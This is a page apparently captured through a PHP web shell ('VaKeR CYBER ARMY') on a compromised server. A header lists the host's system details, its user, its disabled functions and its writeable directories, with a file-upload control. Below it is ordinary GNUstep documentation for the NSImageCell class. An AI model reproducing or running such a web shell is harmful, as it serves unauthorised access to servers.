VaKeR CYBER ARMY
Logo of a company Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /proc/self/root/usr/share/GNUstep/Documentation/Developer/Gui/Reference/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/share/GNUstep/Documentation/Developer/Gui/Reference/NSImageCell.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

    <head>
    <title>NSImageCell</title>
  </head>
  <body>
    <font face="serif">
    <a href="Gui.html">Up</a>
    <br />
    <h1><a name="title$NSImageCell">NSImageCell</a></h1>
    <h3>Authors</h3>
    <dl>
      <dt>Jonathan Gapen (<a href="mailto:jagapen@smithlab.chem.wisc.edu"><code>jagapen@smithlab.chem.wisc.edu</code></a>)</dt>
      <dd>
      </dd>
    </dl>
    <blockquote>
      The image cell class
    </blockquote>
    <p><b>Copyright:</b> (C) 1999, 2005 Free Software Foundation, Inc.</p>

        <div>
    </div>

          <h1><a name="001000000000">
        Software documentation for the NSImageCell class
      </a></h1>
    <h2><a name="class$NSImageCell">NSImageCell</a> : <a rel="gsdoc" href="NSCell.html#class$NSCell">NSCell</a></h2>
    <blockquote class="declared">
      <dl>
        <dt><b>Declared in:</b></dt>
        <dd>AppKit/NSImageCell.h</dd>
      </dl>
    </blockquote>
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
          
    </p>
    <p>

            An NSImageCell is a cell that can display a single
            image. It is normally associated with an NSImageView
            control; but you can use it as a building block in
            your own controls.
              </p>
    <p>
      
          
    </p>
    <p>

            The image to display is set using the
            <a rel="gsdoc" href="NSCell.html#method$NSCell-setImage$">
              -setImage:
            </a>

            method which is inherited from the superclass.
              </p>
    <p>
      
          
    </p>
    <p>

            The
            <a rel="gsdoc" href="#method$NSImageCell-setImageAlignment$">
              -setImageAlignment:
            </a>

            and
            <a rel="gsdoc" href="#method$NSImageCell-setImageScaling$">
              -setImageScaling:
            </a>

            methods can be used to control how the image is
            drawn inside a rectangle which is larger or smaller
            than the image size; the image might need to be
            scaled, cropped or aligned.
              </p>
    <p>
      
          
    </p>
    <p>

            The
            <a rel="gsdoc" href="#method$NSImageCell-setImageFrameStyle$">
              -setImageFrameStyle:
            </a>

            method can be used to control if the cell should
            display a frame border, and which one.
              </p>
    <p>
      
        
    </div>
    <hr width="50%" align="left" />
    <a href="#_NSImageCell_ivars">Instance Variables</a>
    <br/><br/>
    <b>Method summary</b>
    <ul>
      <li><a rel="gsdoc" href="NSImageCell.html#method$NSImageCell-imageAlignment">-imageAlignment</a></li>
      <li><a rel="gsdoc" href="NSImageCell.html#method$NSImageCell-imageFrameStyle">-imageFrameStyle</a></li>
      <li><a rel="gsdoc" href="NSImageCell.html#method$NSImageCell-imageScaling">-imageScaling</a></li>
      <li><a rel="gsdoc" href="NSImageCell.html#method$NSImageCell-setImageAlignment$">-setImageAlignment:</a></li>
      <li><a rel="gsdoc" href="NSImageCell.html#method$NSImageCell-setImageFrameStyle$">-setImageFrameStyle:</a></li>
      <li><a rel="gsdoc" href="NSImageCell.html#method$NSImageCell-setImageScaling$">-setImageScaling:</a></li>
    </ul>
    <hr width="50%" align="left" />
<div class="method">
    <h3><a name="method$NSImageCell-imageAlignment">imageAlignment&nbsp;</a></h3>
    - (<a rel="gsdoc" href="TypesAndConstants.html#type$NSImageAlignment">NSImageAlignment</a>) <b>imageAlignment</b>;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            Returns the alignment used when displaying the
            image inside a cell that is bigger than the image,
            and NSScaleToFit has not been selected.
          
    </div>
    <hr width="25%" align="left" />
</div>
<div class="method">
    <h3><a name="method$NSImageCell-imageFrameStyle">imageFrameStyle&nbsp;</a></h3>
    - (<a rel="gsdoc" href="TypesAndConstants.html#type$NSImageFrameStyle">NSImageFrameStyle</a>) <b>imageFrameStyle</b>;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            Returns the style used to draw the frame around the
            image.
          
    </div>
    <hr width="25%" align="left" />
</div>
<div class="method">
    <h3><a name="method$NSImageCell-imageScaling">imageScaling&nbsp;</a></h3>
    - (<a rel="gsdoc" href="TypesAndConstants.html#type$NSImageScaling">NSImageScaling</a>) <b>imageScaling</b>;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            Returns the type of image scaling used on the image
            when the image natural size and the cell size are
            different.
          
    </div>
    <hr width="25%" align="left" />
</div>
<div class="method">
    <h3><a name="method$NSImageCell-setImageAlignment$">setImageAlignment:&nbsp;</a></h3>
    - (void) <b>setImageAlignment:</b> (<a rel="gsdoc" href="TypesAndConstants.html#type$NSImageAlignment">NSImageAlignment</a>)anAlignment;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            Sets the alignment used when displaying the image
            inside a cell that is bigger than the image, and
            NSScaleToFit has not been selected.
          
    </div>
    <hr width="25%" align="left" />
</div>
<div class="method">
    <h3><a name="method$NSImageCell-setImageFrameStyle$">setImageFrameStyle:&nbsp;</a></h3>
    - (void) <b>setImageFrameStyle:</b> (<a rel="gsdoc" href="TypesAndConstants.html#type$NSImageFrameStyle">NSImageFrameStyle</a>)aFrameStyle;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            Sets the style used to draw the frame around the
            image.
          
    </div>
    <hr width="25%" align="left" />
</div>
<div class="method">
    <h3><a name="method$NSImageCell-setImageScaling$">setImageScaling:&nbsp;</a></h3>
    - (void) <b>setImageScaling:</b> (<a rel="gsdoc" href="TypesAndConstants.html#type$NSImageScaling">NSImageScaling</a>)scaling;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            Sets the type of image <var>scaling</var> used on the
            image when the image natural size and the cell size
            are different.
          
    </div>
    <hr width="25%" align="left" />
</div>
<a name="_NSImageCell_ivars"/>    <br/><hr width="50%" align="left" />
    <h2>Instance Variables for NSImageCell Class</h2>
    <h3><a name="ivariable$NSImageCell*_frameStyle">_frameStyle</a></h3>
    @protected NSImageFrameStyle <b>_frameStyle</b>;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            <em>Warning</em> the underscore at the start of the
            name of this instance variable indicates that, even
            though it is not technically <em>private</em>, it is
            intended for internal use within the package, and
            you should not use the variable in other code.
          
    </div>
    <hr width="25%" align="left" />
    <h3><a name="ivariable$NSImageCell*_imageAlignment">_imageAlignment</a></h3>
    @protected NSImageAlignment <b>_imageAlignment</b>;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            <em>Warning</em> the underscore at the start of the
            name of this instance variable indicates that, even
            though it is not technically <em>private</em>, it is
            intended for internal use within the package, and
            you should not use the variable in other code.
          
    </div>
    <hr width="25%" align="left" />
    <h3><a name="ivariable$NSImageCell*_imageScaling">_imageScaling</a></h3>
    @protected NSImageScaling <b>_imageScaling</b>;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            <em>Warning</em> the underscore at the start of the
            name of this instance variable indicates that, even
            though it is not technically <em>private</em>, it is
            intended for internal use within the package, and
            you should not use the variable in other code.
          
    </div>
    <hr width="25%" align="left" />
    <h3><a name="ivariable$NSImageCell*_original_image_size">_original_image_size</a></h3>
    @protected NSSize <b>_original_image_size</b>;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            <em>Warning</em> the underscore at the start of the
            name of this instance variable indicates that, even
            though it is not technically <em>private</em>, it is
            intended for internal use within the package, and
            you should not use the variable in other code.
          
    </div>
    <hr width="25%" align="left" />
    <br/><hr width="50%" align="left" /><br/>
    <br />
    <a href="Gui.html">Up</a>
    </font>
</body>
</html>

VaKeR 2022